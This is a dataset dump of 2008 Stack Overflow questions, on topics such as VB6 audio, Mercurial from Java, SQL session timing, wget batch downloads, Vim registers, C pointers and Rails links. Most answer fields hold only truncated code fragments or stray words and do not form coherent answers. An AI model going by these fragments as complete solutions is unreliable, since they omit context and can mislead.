qid
int64
4
19.1M
question
stringlengths
18
48.3k
answers
list
date
stringlengths
10
10
metadata
list
380,287
<p>I'd like to play mp3 files (b/c they compress smaller than .wav's) from a vb6 app but without needing any other player installed.</p> <p>Any suggestions?</p>
[ { "answer_id": 389909, "author": "Kris Erickson", "author_id": 3798, "author_profile": "https://Stackoverflow.com/users/3798", "pm_score": 4, "selected": true, "text": "Declare Function mciSendString Lib \"winmm\" Alias \"mciSendStringA\" (ByVal _\n lpstrCommand As String, ByVal lpstr...
2008/12/19
[ "https://Stackoverflow.com/questions/380287", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4906/" ]
380,321
<p>Is there a plain API to access Mercurial repositories from Java?</p> <p>There are plugins for Netbeans and Eclipse, but unlike their Subversion counterparts, they do not use a common lower-level library but bring their own wrappers to call out to the Mercurial binary. Calling the binary would be okay (for now), but it seems very difficult to use those plugins in standalone applications (outside of the IDE they were built for).</p> <p>There is also HgKit, but that is very pre-alpha.</p>
[ { "answer_id": 7981412, "author": "Martin Geisler", "author_id": 110204, "author_profile": "https://Stackoverflow.com/users/110204", "pm_score": 4, "selected": false, "text": "public void commitTest() throws IOException {\n Repository repo = getTestRepository();\n writeFile(\"x\", ...
2008/12/19
[ "https://Stackoverflow.com/questions/380321", "https://Stackoverflow.com", "https://Stackoverflow.com/users/14955/" ]
380,324
<p>Im using vs2008 and Im also using the autogenerated object model / entity classes from linq to sql (.dbml).</p> <p>Is it possible / recommended to change the autogenerated .cs file. Eg change the behaviour of Equals (in the partical class Courses)?</p> <p>I do know that Equals should be reflexive, symmetric, transitive, consistent and "Equals(null)== false "</p>
[ { "answer_id": 380328, "author": "mmx", "author_id": 33708, "author_profile": "https://Stackoverflow.com/users/33708", "pm_score": 4, "selected": true, "text": "partial partial" }, { "answer_id": 380377, "author": "Rune Grimstad", "author_id": 30366, "author_profile":...
2008/12/19
[ "https://Stackoverflow.com/questions/380324", "https://Stackoverflow.com", "https://Stackoverflow.com/users/148909/" ]
380,338
<p>I am divided between using a C# implementation and a pure SQL 2005/2008 implementation. I need to determine the length of usage based on timestamps of their last actions. My table contains "friendID" (uniqueIdentifier) and "lastAction" datetime. Here is an example:</p> <pre> Bob, 1:00 PM Bob, 1:01 PM Bob, 1:20 PM Bob, 1:25 PM Jack, 5:00 PM Bob, 11:20 PM </pre> <p>I want to "time out" a user if they had 60 minutes of inactivity. If your suggestion works correctly, there should be 3 separate sessions from the data above. There is a long break between Bob's session that started at 1 PM and the one that started at 11:20 PM.</p> <p>Correct results should be: Bob (duration 25 minutes), Jack (duration 0 minutes), Bob (duration 0 minutes)</p> <p><strong>How would you return those 3 rows using pure SQL or C#?</strong></p> <p>Thank you very much for your help, it is really needed here.</p>
[ { "answer_id": 778796, "author": "Bruce", "author_id": 94464, "author_profile": "https://Stackoverflow.com/users/94464", "pm_score": 1, "selected": false, "text": "select friendId, max(lastAction) 'lastAction'\n from myTable\n where lastAction >= dateadd(day, -1, getdate())\n -- d...
2008/12/19
[ "https://Stackoverflow.com/questions/380338", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
380,341
<p>I have a bash file that contains wget commands to download over 100,000 files totaling around 20gb of data.</p> <p>The bash file looks something like:</p> <p>wget <a href="http://something.com/path/to/file.data" rel="nofollow noreferrer">http://something.com/path/to/file.data</a></p> <p>wget <a href="http://something.com/path/to/file2.data" rel="nofollow noreferrer">http://something.com/path/to/file2.data</a></p> <p>wget <a href="http://something.com/path/to/file3.data" rel="nofollow noreferrer">http://something.com/path/to/file3.data</a></p> <p>wget <a href="http://something.com/path/to/file4.data" rel="nofollow noreferrer">http://something.com/path/to/file4.data</a></p> <p>And there are exactly 114,770 rows of this. How reliable would it be to ssh into a server I have an account on and run this? Would my ssh session time out eventually? would I have to be ssh'ed in the entire time? What if my local computer crashed/got shut down?</p> <p>Also, does anyone know how many resources this would take? Am I crazy to want to do this on a shared server?</p> <p>I know this is a weird question, just wondering if anyone has any ideas. Thanks!</p>
[ { "answer_id": 380347, "author": "mmx", "author_id": 33708, "author_profile": "https://Stackoverflow.com/users/33708", "pm_score": 1, "selected": false, "text": "screen" }, { "answer_id": 380348, "author": "Jonas Elfström", "author_id": 44620, "author_profile": "https...
2008/12/19
[ "https://Stackoverflow.com/questions/380341", "https://Stackoverflow.com", "https://Stackoverflow.com/users/10821/" ]
380,379
<p>I'd like to yank a line in a register: <code>"{register}y</code> but without overwriting what was previously in the register. I often need to copy non-contiguous lines in a register, and I'd like to use sometimes the registers like a stack.</p> <p>Example:</p> <pre><code>line1 line2 line3 </code></pre> <p>I want to copy <code>line1</code>, by putting the cursor on it and entering <code>"ay</code>, then going on <code>line3</code> and do <code>"ay</code>. Then, when I will do <code>"ap</code>, BOTH <code>line1</code> AND <code>line3</code> will be pasted.</p> <p>Is this possible without plugins ? with plugins?</p>
[ { "answer_id": 382182, "author": "Rob Wells", "author_id": 2974, "author_profile": "https://Stackoverflow.com/users/2974", "pm_score": 4, "selected": false, "text": "ma (entered in command mode, i.e. no colon)\n :'a,.ya A\n d`a (also entered in command mode)\n" } ]
2008/12/19
[ "https://Stackoverflow.com/questions/380379", "https://Stackoverflow.com", "https://Stackoverflow.com/users/28165/" ]
380,380
<p>I have a Windows form application written in C#. I update the title of the form frequently, but there's a substantial lag between the title changing and the title dislayed in the taskbar being updated. </p> <p>What's a clean way to force an update / redraw of the task bar's entry for my program? Failing that, how can I force a redraw of the entire task bar?</p> <p>Elaboration: It turns out that the delay in updating the taskbar is fixed at about 100ms, however this seems to be a delay based on when the Form.Text was last modified. If you modify the text faster then that - say, every 10ms, the taskbar is not updated until the Form.Text has been left unchanged for at least ~100ms.</p> <p>OS: Vista 32.</p>
[ { "answer_id": 380407, "author": "Jonas Elfström", "author_id": 44620, "author_profile": "https://Stackoverflow.com/users/44620", "pm_score": 2, "selected": false, "text": " this.Invalidate();\n this.Update();\n Application.DoEvents();\n" }, { "answer_id": 38...
2008/12/19
[ "https://Stackoverflow.com/questions/380380", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1388/" ]
380,381
<p>Details are as follows:</p> <p>Environment:</p> <p>SSRS 2008 Server, SQL Server 2008 for database, Report Developed in SQL Server Business Intelligence Devlopment Studio - Reporting Project</p> <p>Error Messages: </p> <p>"An error occurred during client rendering." "An error has occurred during report processing." "Query execution failed for dataset 'DataSource1'." "For more information about this error navigate to the report server on the local server machine, or enable remote errors "</p> <p>I have done that (navigation &amp; all that) and the result was that a parameter of a scalar variable needs to be declared. The funny thing is that those variables are properly declared in the datasource and in the report sources everywhere. Also this report/datasource worked no problem on SSRS 2005. In the Development Environment the report runs perfectly. On the server the report only fails when executing and after the parameters have been accepted. We use no stored procedures.</p> <p>Any help / ideas will be greatly appreciated.</p> <p>Thanks in advance.</p>
[ { "answer_id": 380407, "author": "Jonas Elfström", "author_id": 44620, "author_profile": "https://Stackoverflow.com/users/44620", "pm_score": 2, "selected": false, "text": " this.Invalidate();\n this.Update();\n Application.DoEvents();\n" }, { "answer_id": 38...
2008/12/19
[ "https://Stackoverflow.com/questions/380381", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3535708/" ]
380,403
<p>I do not have problem as such but I am quite new to Ruby. I have the following 3 repeatable bits of code in one method and I would like to know how a true Rubyist would first of all remove the duplication and secondly make it more reusable.</p> <p>Here is the code in question:</p> <pre><code>file = File.new( destination) doc = REXML::Document.new file doc.elements.each("configuration/continuity2/plans") do |element| element.attributes["storebasedir"] = "#{TEST_OUTPUT_DIRECTORY}" end doc.elements.each("configuration/add").each do |database| database.raw_attributes = database.attributes.merge("connectionstring" =&gt; "#{TEST_CONNECTION_STRING}") end doc.elements.each("configuration/connectionStrings/plans") do |connectionString| connectionString.raw_attributes = connectionString.attributes.merge("connectionString" =&gt; "#{TEST_CONNECTION_STRING}") end </code></pre> <p>Any advice appreciated.</p>
[ { "answer_id": 380907, "author": "Bkkbrad", "author_id": 44476, "author_profile": "https://Stackoverflow.com/users/44476", "pm_score": 3, "selected": true, "text": "[\"add\", \"connectionStrings/plans\"].each do |elt_name|\n doc.elements.each(\"configuration/#{elt_name}\").do |elt|\n ...
2008/12/19
[ "https://Stackoverflow.com/questions/380403", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11755/" ]
380,406
<p>If I have an inner class, like this:</p> <pre><code>public class Test { public class Inner { // code ... } public static void main(String[] args) { // code ... } } </code></pre> <p>When I compile it, I expect it should generate two files:</p> <pre><code>Test.class Test$Inner.class </code></pre> <p>So why do I sometimes see classfiles like SomeClass$1.class, even though SomeClass does not contain an inner class called "1"?</p>
[ { "answer_id": 380468, "author": "Jean", "author_id": 7898, "author_profile": "https://Stackoverflow.com/users/7898", "pm_score": 2, "selected": false, "text": "public class Foo{\n public void printMe(){\n System.out.println(\"redefine me!\");\n }\n}\n\n\npublic class Bar {\n pub...
2008/12/19
[ "https://Stackoverflow.com/questions/380406", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11347/" ]
380,414
<p>If you have some directories from different version control systems (cvs, svn...), how do you find out what type of repository each came from?</p>
[ { "answer_id": 380433, "author": "Kurt", "author_id": 31056, "author_profile": "https://Stackoverflow.com/users/31056", "pm_score": 4, "selected": true, "text": "$ svn info\n\nPath: .\nURL: https://example.org/svn/project/space/\nRepository Root: https://example.org/svn/project/\nReposit...
2008/12/19
[ "https://Stackoverflow.com/questions/380414", "https://Stackoverflow.com", "https://Stackoverflow.com/users/47090/" ]
380,423
<p>When I use link_to :method=>:delete, what rails has generated is a javascript click, which is not nice if you do come across situation your client just have javascript disabled. That seems a bad idea to me. Any chance to get around this?</p>
[ { "answer_id": 380452, "author": "mat", "author_id": 42083, "author_profile": "https://Stackoverflow.com/users/42083", "pm_score": 1, "selected": false, "text": "<a href=\"\"> GET" }, { "answer_id": 381693, "author": "Starr Horne", "author_id": 37708, "author_profile"...
2008/12/19
[ "https://Stackoverflow.com/questions/380423", "https://Stackoverflow.com", "https://Stackoverflow.com/users/16371/" ]
380,424
<p>Assume I allow the user to input a arbitrary numerical expression that allows usage of the explicit set of functions and predefined variables.</p> <p>Interpreting this is pretty straight forward but what if performance is a critical factor?</p> <p>I need a way to compile (in runtime) a string with a expression into something that can be executed 20K times with different values on the variables.</p>
[ { "answer_id": 380432, "author": "mmx", "author_id": 33708, "author_profile": "https://Stackoverflow.com/users/33708", "pm_score": 1, "selected": false, "text": "Microsoft.JScript" }, { "answer_id": 380434, "author": "Marc Gravell", "author_id": 23354, "author_profile...
2008/12/19
[ "https://Stackoverflow.com/questions/380424", "https://Stackoverflow.com", "https://Stackoverflow.com/users/40939/" ]
380,438
<p>The question is simple: I cannot understand the <a href="http://en.wikipedia.org/wiki/Zipper_(data_structure)" rel="noreferrer">Zipper</a> data structure.</p> <p>My question is related to its uses with a Tree.</p> <p>I want to understand how can I change the tree node using zipper. And how not to copy the whole tree (or the most part of it).</p> <p>Please, clarify if I'm wrong with zipper. Maybe it cannot help with the tree update?<br> Or, maybe, it is possible to update the tree and I just cannot see the way?</p>
[ { "answer_id": 380498, "author": "namin", "author_id": 34596, "author_profile": "https://Stackoverflow.com/users/34596", "pm_score": 7, "selected": true, "text": "(1 2 3 4 5 6) ((2 1) 3 (4 5 6)) ((1) 2 (3 4 5 6)) ((3 2 1) 4 (5 6))" }, { "answer_id": 70818942, "author": "Mohan...
2008/12/19
[ "https://Stackoverflow.com/questions/380438", "https://Stackoverflow.com", "https://Stackoverflow.com/users/20514/" ]
380,442
<p>Let's say I have some pointers called:</p> <pre><code>char * pChar; int * pInt; </code></pre> <p>I know they both simply hold memory addresses that point to some other location, and that the types declare how big the memory location is pointed to by the particular pointer. So for example, a char might be the size of a byte on a system, while an int may be 4 bytes.. So when I do:</p> <pre><code>pChar++; // I am actually incrementing the address pointed to by pChar by 1 byte; pInt++; // I am actually incrementing the address pointed to by pInt by 4 bytes; </code></pre> <p>But what if I do this:</p> <pre><code>pChar+2; // increment the address pointed to by pChar by 2 bytes? pInt+2; // increment the address pointed to by pInt by 2 bytes? what happens to the other two bytes? </code></pre> <p>Thanks.. Would appreciate any clarification here.. Is the pointer type simply for the ++ operation?</p> <p>EDIT: So avp answered my question fittingly, but I have a follow up question, what happens when I do:</p> <pre><code>memcpy(pChar,pInt,2); </code></pre> <p>Will it copy 2 bytes? or 4 bytes? Will I have an access violation?</p> <p>EDIT: THe answer, according to Ryan Fox, is 2 bytes, because they are typecasted to a (void*). Thanks! CLOSED!</p> <p>EDIT: Just so that future searchers may find this.. Another piece of info I discovered.. </p> <pre><code>memcpy(pChar+5,pInt+5,2); </code></pre> <p>doesnt copy 2 bytes of the memory block pointed to by pInt+5bytelocations,to pChar+5bytelocations.. what happens is that 2 bytes are copied to pChar+5bytelocations from pInt(4*5)bytelocations.. no wonder I got access violations, I was trying to read off somewhere I wasn't supposed to be reading.. :)</p>
[ { "answer_id": 380448, "author": "1800 INFORMATION", "author_id": 3146, "author_profile": "https://Stackoverflow.com/users/3146", "pm_score": 2, "selected": false, "text": "pChar+2; // increment the address pointed to by pChar by 2 bytes\npInt+2; // increment the address pointed to by pI...
2008/12/19
[ "https://Stackoverflow.com/questions/380442", "https://Stackoverflow.com", "https://Stackoverflow.com/users/29482/" ]
380,451
<p>I'm getting the error below when trying to loop through a listbox and then remove the item.</p> <blockquote> <p>List that this enumerator is bound to has been modified. An enumerator can only be used if the list does not change.</p> </blockquote> <pre><code>foreach (string s in listBox1.Items) { MessageBox.Show(s); //do stuff with (s); listBox1.Items.Remove(s); } </code></pre> <p>How can I remove the item and still loop through the contents?</p>
[ { "answer_id": 380461, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 5, "selected": false, "text": "foreach Items.Clear() listBox1.BeginUpdate();\ntry {\n for(int i = listBox1.Items.Count - 1; i >= 0 ; i--) {\n //...
2008/12/19
[ "https://Stackoverflow.com/questions/380451", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
380,454
<p>How does operating system know what filesystem a partition is using? In other words, how are FAT16/32, NTFS, ext2/3 etc. distinguished from each other?</p>
[ { "answer_id": 380489, "author": "benlumley", "author_id": 39161, "author_profile": "https://Stackoverflow.com/users/39161", "pm_score": 0, "selected": false, "text": "* File system type\n* Size\n* Status\n* Information about other metadata structures\n" }, { "answer_id": 380508,...
2008/12/19
[ "https://Stackoverflow.com/questions/380454", "https://Stackoverflow.com", "https://Stackoverflow.com/users/47701/" ]
380,455
<p>I am looking for a clear definition of what a "tokenizer", "parser" and "lexer" are and how they are related to each other (e.g., does a parser use a tokenizer or vice versa)? I need to create a program will go through c/h source files to extract data declaration and definitions. </p> <p>I have been looking for examples and can find some info, but I really struggling to grasp the underlying concepts like grammar rules, parse trees and abstract syntax tree and how they interrelate to each other. Eventually these concepts need to be stored in an actual program, but 1) what do they look like, 2) are there common implementations.</p> <p>I have been looking at Wikipedia on these topics and programs like Lex and Yacc, but having never gone through a compiler class (EE major) I am finding it difficult to fully understand what is going on.</p>
[ { "answer_id": 686819, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 5, "selected": false, "text": "int x = 1;\n" } ]
2008/12/19
[ "https://Stackoverflow.com/questions/380455", "https://Stackoverflow.com", "https://Stackoverflow.com/users/35733/" ]
380,458
<p>One of the most common dilemmas I have when commenting code is how to mark-up argument names. I'll explain what I mean:</p> <pre><code>def foo(vector, widht, n=0): """ Transmogrify vector to fit into width. No more than n elements will be transmogrified at a time """ </code></pre> <p>Now, my problem with this is that the argument names <code>vector</code>, <code>width</code> and <code>n</code> are not distinguished in that comment in any way, and can be confused for simple text. Some other options:</p> <blockquote> <p>Transmogrify 'vector' to fit into 'width'. No more than 'n'</p> </blockquote> <p>Or maybe:</p> <blockquote> <p>Transmogrify -vector- to fit into -width-. No more than -n-</p> </blockquote> <p>Or even:</p> <blockquote> <p>Transmogrify :vector: to fit into :width:. No more than :n:</p> </blockquote> <p>You get the point. Some tools like Doxygen impose this, but what if I don't use a tool ? Is this language dependent ? </p> <p>What do <strong>you</strong> prefer to use ?</p>
[ { "answer_id": 380575, "author": "Abgan", "author_id": 46308, "author_profile": "https://Stackoverflow.com/users/46308", "pm_score": 0, "selected": false, "text": "def foo(vector, width, n=0):\n \"\"\" Transmogrify 'vector' to fit into 'width'. No more than 'n' \n elements will be ...
2008/12/19
[ "https://Stackoverflow.com/questions/380458", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8206/" ]
380,482
<p>I'm writing a search &amp; replace function in a kind of spreadsheet program. What I want is that if you search for a string, the program shows a table with the element that has been found.</p> <p>So far so good, but I cannot get the element to obtain the focus, with the cursor in it so you can immediately start typing.</p> <p>I'm using a customized <code>JTable</code> and also a customized <code>TableCellEditor</code>. The following tricks do not seem to work: (within the customized <code>TableCellEditor</code>):</p> <pre><code>SwingUtilities.invokeLater(new Runnable() { public void run() { my_textfield.requestFocus(); } }); </code></pre> <p>or:</p> <pre><code>my_jtable.editCellAt(0, 3); my_jtable.requestFocus(); </code></pre> <p>or</p> <pre><code>my_jtable.getEditorComponent().requestFocusInWindow(); </code></pre> <p>Am I missing something? Is there a good description (nice flow diagram) that shows how events take place? Or example code that might do something similar?</p>
[ { "answer_id": 380577, "author": "Peter", "author_id": 26483, "author_profile": "https://Stackoverflow.com/users/26483", "pm_score": 0, "selected": false, "text": " /**\n * Returns true.\n * @param anEvent an event object\n * @return true\n */\n public boolean shou...
2008/12/19
[ "https://Stackoverflow.com/questions/380482", "https://Stackoverflow.com", "https://Stackoverflow.com/users/26387/" ]
380,507
<p>I am adding a custom background for my UINavigationBar. It works fine as long as the phone is in portrait mode. As soon as I switch to landscape mode, half the bar appears blue (the default navbar color) and half of it has my image</p> <p>How can I stretch the image for landscape mode and make it small again for portrait mode?</p> <p>Thanks</p> <p><strong><em>Solution</em></strong><br/> Incase anyone is looking for an answer to how to add an image to navigation bar - here goes</p> <pre><code>UIImageView *imgView = [[UIImageView alloc] initWithFrame:CGRectMake(0.0, 0.0, 480.0, 44.0)]; [imgView setImage:[UIImage imageWithContentsOfFile:[[NSBundle mainBundle] pathForResource:@"navbar_landscape" ofType:@"png"]]]; [navigationController.navigationBar addSubview:imgView]; [imgView release]; </code></pre>
[ { "answer_id": 381067, "author": "Ben Gottlieb", "author_id": 6694, "author_profile": "https://Stackoverflow.com/users/6694", "pm_score": 3, "selected": true, "text": "UIViewAutoresizingFlexibleWidth | UIViewAutoresizingFlexibleHeight" }, { "answer_id": 796390, "author": "Iva...
2008/12/19
[ "https://Stackoverflow.com/questions/380507", "https://Stackoverflow.com", "https://Stackoverflow.com/users/46297/" ]
380,509
<p>I'm writing Add-inn Application A in VB.Net and DLL B in C language. Application A pass callback method to dll B. When certain event occur the dll invoke the callback from A. Whole works fine on my PC but when I move it to Notebook I get an error:</p> <p><em>Run-Time Check Failure #0 - The value of ESP was not properly saved across a function call. This is usually a result of calling a function declared with one calling convention with a function pointer declared with a different calling convention.</em></p> <p>This is part of C code:</p> <pre><code>typedef void (__cdecl * OFFICE_PTR)(); void TAPIClient::tapiCallBack( DWORD hDevice, DWORD dwMessage, DWORD dwInstance, DWORD dwParam1, DWORD dwParam2, DWORD dwParam3){ switch (dwMessage) { case LINE_CALLSTATE: switch (dwParam1) { case LINECALLSTATE_OFFERING: if(dwInstance!=NULL) { try { OFFICE_PTR vbFunc =(OFFICE_PTR)dwInstance; vbFunc( );//Critical moment } catch(...) { MessageBox (NULL, L"( (OFFICE_PTR)dwInstance )(&amp;sCallNr)",L"ERROR",MB_OK); } } break; }; break; } </code></pre> <p>}</p> <p>Where dwInstance is a address of application A callback method </p> <p>This is part of VB.Net code:</p> <pre><code>Public Class TapiPlugin Public Delegate Sub P_Fun() Private Declare Function startSpy _ Lib "TAPIClient.dll" _ (ByVal pFun As P_Fun) As IntPtr Public Shared Sub simpleTest() MsgBox("Plugin sub simpleTest") End Sub Public Sub onStart() Dim pBSTR As IntPtr pBSTR = startSpy(AddressOf simpleTest) MsgBox(Marshal.PtrToStringAuto(pBSTR)) Marshal.FreeBSTR(pBSTR) End Sub End Class </code></pre> <p>The Error occur when I try call 'vbFunc( )'. I would be grateful for any help. :D </p>
[ { "answer_id": 380526, "author": "1800 INFORMATION", "author_id": 3146, "author_profile": "https://Stackoverflow.com/users/3146", "pm_score": 0, "selected": false, "text": "typedef void (__cdecl * OFFICE_PTR)();\nvoid TAPIClient::tapiCallBack(\nDWORD hDevice,\nDWORD dwMessage,\nDWORD dw...
2008/12/19
[ "https://Stackoverflow.com/questions/380509", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
380,529
<pre><code>#include&lt;iostream&gt; using namespace std; class A { int a; int b; public: void eat() { cout&lt;&lt;"A::eat()"&lt;&lt;endl; } }; class B: public A { public: void eat() { cout&lt;&lt;"B::eat()"&lt;&lt;endl; } }; class C: public A { public: void eat() { cout&lt;&lt;"C::eat()"&lt;&lt;endl; } }; class D: public B, C { }; int foo(A *ptr) { ptr-&gt;eat(); } main() { D obj; foo(&amp;(obj.B)); //error. How do i call with D's B part. } </code></pre> <p>The above foo call is a compile time error. I want to call foo with obj's B part without using virtual inheritance. How do i do that. </p> <p>Also, in case of virtual inheritance, why the offset information need to be stored in the vtable. This can be determined at the compile time itself. In the above case, if we pass foo with D's object, at compile time only we can calculate the offset of D's A part. </p>
[ { "answer_id": 380542, "author": "1800 INFORMATION", "author_id": 3146, "author_profile": "https://Stackoverflow.com/users/3146", "pm_score": 2, "selected": false, "text": "static_cast main()\n{\n D obj;\n foo(static_cast<B*>(&obj));\n}\n" }, { "answer_id": 380546, "author"...
2008/12/19
[ "https://Stackoverflow.com/questions/380529", "https://Stackoverflow.com", "https://Stackoverflow.com/users/39615/" ]
380,568
<p>I'm working on a project that has a rich object model with various sets of aggregate roots. </p> <p>We're using the <strong>Castle</strong> stack (Monorail through to nHibernate with ActiveRecord).</p> <p>We have marked the aggregate roots as lazy <code>[ActiveRecord(Lazy = true)]</code> and have customized 'eager' routines on our Repository to eager fetch an object graph. We use HQL to define eager fetches from our child collection of our root, </p> <p>e.g. if <code>Account</code> is the aggregate root (and marked lazy loaded) we'll eager fetch <code>Account .. Order .. Product</code> entities for a complete graph.</p> <p>So no surprises so far (hopefully). </p> <p>Now if in the above example, Product is also marked <code>[ActiveRecord(Lazy = true)]</code>, this seems to stop the eager fetch directive in the HQL. </p> <p><strong>Does anyone know a way to force the eager fetch of a lazy loaded child object</strong> ??</p> <p>Cheers ian</p> <p><strong>Update</strong>:</p> <p>Ok here's some example hql, Using the example from 'me.yahoo.com/../1' below, we're using IMuliQuery to reslove N+1 dependencies when fetching over many-to-many relationships. We're also explicitly using many-to-many mapping classes. As a result our hql is:</p> <pre><code>from Account a 'm eager loading the graph inner join fetch a.AccountsOrders ao inner join fetch ao.Order from Account a 'm eager loading the graph inner join fetch a.AccountAddresses aa inner join fetch aa.Address ad where a.ID = ? </code></pre> <p>... so this executes the 2 sql statements and returns the required minimal rowset, and we can resolve this down into a single object graph. Nice.</p> <p>But... if, say, <code>Address</code> was marked lazy loaded (and <code>Order</code> wasn't), accessing <code>Order</code> doesn't trigger a further sql statements, yet accessing <code>Address</code> does, despite the fact both are eager loaded.</p> <p>So why isn't the lazy loaded entity <code>Address</code>, above, eager fetched by the above statement?</p>
[ { "answer_id": 382043, "author": "user47393", "author_id": 47393, "author_profile": "https://Stackoverflow.com/users/47393", "pm_score": 1, "selected": false, "text": "\"from Account a inner join fetch a.Order where a.ID = ?\"\n \"from Account a inner join fetch a.Order inner join fetch ...
2008/12/19
[ "https://Stackoverflow.com/questions/380568", "https://Stackoverflow.com", "https://Stackoverflow.com/users/32027/" ]
380,570
<p>This is nice thing you have done. Could you please explain: How to use PhotoLibrary's CameraController without jailbreak. Actually I 've downloaded class-dump and tried dumping PhotoLibrary but did not work out well. It is giving: </p> <pre><code>/* * Generated by class-dump 3.1.2. * * class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2007 by Steve Nygard. */ </code></pre> <p>This file does not contain any Objective-C runtime information.</p> <p>So, I wanted to know how to dump it and use it in xcode.</p>
[ { "answer_id": 382043, "author": "user47393", "author_id": 47393, "author_profile": "https://Stackoverflow.com/users/47393", "pm_score": 1, "selected": false, "text": "\"from Account a inner join fetch a.Order where a.ID = ?\"\n \"from Account a inner join fetch a.Order inner join fetch ...
2008/12/19
[ "https://Stackoverflow.com/questions/380570", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
380,588
<p>Suppose you store instances of a class in a relational table. How would you go about persisting a static attribute of that class? For example:</p> <pre><code>class WebSiteUser { private static $common_homepage_content; private $username; private $password_hash; ... } </code></pre> <p>Corresponding to:</p> <pre><code>CREATE TABLE web_site_users ( username character varying(100) NOT NULL, password_hash character varying(40) NOT NULL, ... </code></pre> <p>Where does <code>$common_homepage_content</code> go then?</p>
[ { "answer_id": 380610, "author": "bruno conde", "author_id": 31136, "author_profile": "https://Stackoverflow.com/users/31136", "pm_score": 2, "selected": true, "text": "static WebSiteUser $common_homepage_content" } ]
2008/12/19
[ "https://Stackoverflow.com/questions/380588", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6430/" ]
380,595
<p>I need an equivalent to c++'s <code>std::multimap&lt;K, V, Comp, Alloc&gt;</code> in C-sharp. Does it exist in the standard library?</p>
[ { "answer_id": 380601, "author": "Frans Bouma", "author_id": 44991, "author_profile": "https://Stackoverflow.com/users/44991", "pm_score": 7, "selected": true, "text": "//////////////////////////////////////////////////////////////////////\n// Algorithmia is (c) 2008 Solutions Design. Al...
2008/12/19
[ "https://Stackoverflow.com/questions/380595", "https://Stackoverflow.com", "https://Stackoverflow.com/users/148909/" ]
380,603
<p>That is, all text and subtags, without the tag of an element itself?</p> <p>Having</p> <pre><code>&lt;p&gt;blah &lt;b&gt;bleh&lt;/b&gt; blih&lt;/p&gt; </code></pre> <p>I want </p> <pre><code>blah &lt;b&gt;bleh&lt;/b&gt; blih </code></pre> <p>element.text returns "blah " and etree.tostring(element) returns:</p> <pre><code>&lt;p&gt;blah &lt;b&gt;bleh&lt;/b&gt; blih&lt;/p&gt; </code></pre>
[ { "answer_id": 380717, "author": "S.Lott", "author_id": 10661, "author_profile": "https://Stackoverflow.com/users/10661", "pm_score": 4, "selected": false, "text": "\"\".join( [ \"\" if t.text is None else t.text ] + [ xml.tostring(e) for e in t.getchildren() ] )\n >>> import xml.etree.E...
2008/12/19
[ "https://Stackoverflow.com/questions/380603", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6068/" ]
380,626
<p>I am parsing XML file. In this file there is one tag containing date string <code>"2008-11-10T05:51:33Z"</code> and I want convert this string in to <code>java.util.Date object.</code></p> <p>How can this be done?</p>
[ { "answer_id": 380633, "author": "Jon Skeet", "author_id": 22656, "author_profile": "https://Stackoverflow.com/users/22656", "pm_score": 3, "selected": false, "text": "DateTimeFormatter fmt = DateTimeFormat.forPattern(\"yyyyMMdd'T'HH:mm:ssZ\");\nDateTime dt = fmt.parse(\"2008-11-10T05:51...
2008/12/19
[ "https://Stackoverflow.com/questions/380626", "https://Stackoverflow.com", "https://Stackoverflow.com/users/25778/" ]
380,628
<p>I’ve just found out that the execution plan performance between the following two select statements are massively different:</p> <pre><code>select * from your_large_table where LEFT(some_string_field, 4) = '2505' select * from your_large_table where some_string_field like '2505%' </code></pre> <p>The execution plans are 98% and 2% respectively. Bit of a difference in speed then. I was actually shocked when I saw it.</p> <p>I've always done LEFT(xxx) = 'yyy' as it reads well. I actually found this out by checking the LINQ generated SQL against my hand crafted SQL. I assumed the LIKE command would be slower, but is in fact much much faster. </p> <p>My question is why is the LEFT() slower than the LIKE '%..'. They are afterall identical?</p> <p>Also, is there a CPU hit by using LEFT()?</p>
[ { "answer_id": 380640, "author": "Dan Sydner", "author_id": 43988, "author_profile": "https://Stackoverflow.com/users/43988", "pm_score": 3, "selected": false, "text": "like" }, { "answer_id": 380643, "author": "hamishmcn", "author_id": 3590, "author_profile": "https:...
2008/12/19
[ "https://Stackoverflow.com/questions/380628", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5884/" ]
380,632
<p>I am doing the following statements in Java,</p> <pre><code>Obj t[] = new Obj[10]; Obj a = new Obj("a"); t[0] = a; a = new Obj("b"); t[1] = a; </code></pre> <p>Why in java, when i access t[0] , it returns me "a", rather than "b"? Is this because of the GC? and can i believe it is safe to do such an operation</p>
[ { "answer_id": 380646, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 3, "selected": false, "text": "Object a = new Object(\"a\");\nObject b = new Object(\"b\");\n\na = b;\nb = new Object(\"c\");\n\n// At this point, a = \"b\"\...
2008/12/19
[ "https://Stackoverflow.com/questions/380632", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
380,639
<p>I need your expertise once again. I have a java class that searches a directory for xml files (displays the files it finds in the eclipse console window), applies the specified xslt to these and sends the output to a directory.</p> <p>What I want to do now is create an xml containing the file names and file format types. The format should be something like;</p> <pre><code>&lt;file&gt; &lt;fileName&gt; &lt;/fileName&gt; &lt;fileType&gt; &lt;/fileType&gt; &lt;/file&gt; &lt;file&gt; &lt;fileName&gt; &lt;/fileName&gt; &lt;fileType&gt; &lt;/fileType&gt; &lt;/file&gt; </code></pre> <p>Where for every file it finds in the directory it creates a new <code>&lt;file&gt;</code>.</p> <p>Any help is truely appreciated.</p>
[ { "answer_id": 380652, "author": "Vinze", "author_id": 26859, "author_profile": "https://Stackoverflow.com/users/26859", "pm_score": 0, "selected": false, "text": "StringBuilder builder = new StringBuilder();\nfor(File f : files) {\n builder.append(\"<file>\\n\\t<fileName>\").append(f...
2008/12/19
